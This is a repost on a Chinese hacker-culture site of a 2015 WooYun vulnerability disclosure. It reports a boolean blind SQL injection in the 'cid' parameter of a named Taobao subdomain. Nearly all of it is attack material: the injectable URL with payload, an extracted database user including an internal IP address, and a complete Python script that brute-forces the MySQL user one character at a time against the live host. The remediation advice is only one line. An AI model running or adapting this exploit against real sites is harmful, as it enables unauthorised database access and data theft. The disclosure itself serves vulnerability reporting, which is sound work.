记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

淘宝网某站点存在MySQL注射(附验证脚本)

2015-01-03 23:20

注入点:

code 区域
http://top.lz.taobao.com/index.html?cfname=%E5%A5%B3%E4%BA%BA/%E5%A5%B3%E8%A3%85/%E7%AE%B1%E5%8C%85&cname=%E5%A5%B3%E8%A3%85/%E5%A5%B3%E5%A3%AB%E7%B2%BE%E5%93%81&dtype=10&level=all&locale=all&more=main&qtype=51a&cid=16 AND length(user())=21



参数cid可注入,MySQL bool blind。 出现韩都衣舍时为True。

漏洞证明:

猜解user(),得到:

code 区域
lzstat@172.24.162.105



当前库:dp_rank_new

taobao.com_mysqli_1.png



验证脚本附上:

code 区域
#encoding=utf-8

import httplib

import time

import string

import sys

import random

import urllib





headers = {}

payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')



print '[%s]Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())

user = ''



base_url = "/index.html?cfname=%E5%A5%B3%E4%BA%BA/%E5%A5%B3%E8%A3%85/%E7%AE%B1%E5%8C%85&" + \

"cname=%E5%A5%B3%E8%A3%85/%E5%A5%B3%E5%A3%AB%E7%B2%BE%E5%93%81&" + \

"dtype=10&level=all&locale=all&more=main&qtype=51a&"



for i in range(1,22):

for payload in payloads:

conn = httplib.HTTPConnection('top.lz.taobao.com', timeout=60)

s = "cid=16 AND ascii(mid(user()from(%s)for(1)))=%s" % (i, ord(payload))

conn.request(method='GET',

url = base_url + s,

headers=headers)

html_doc = conn.getresponse().read().decode('utf-8')

conn.close()

if html_doc.find(u'卖家:韩都衣舍旗舰店') > 0: # True

user += payload

sys.stdout.write('\r[In Progress]' + user)

sys.stdout.flush()

break

else:

print '.',



print '\n[Done]MySQL user is ' + user

print time.strftime('%H:%M:%S', time.localtime())

修复方案:

过滤或转换

知识来源: www.wooyun.org/bugs/wooyun-2015-083899

阅读:79265 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“淘宝网某站点存在MySQL注射(附验证脚本)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词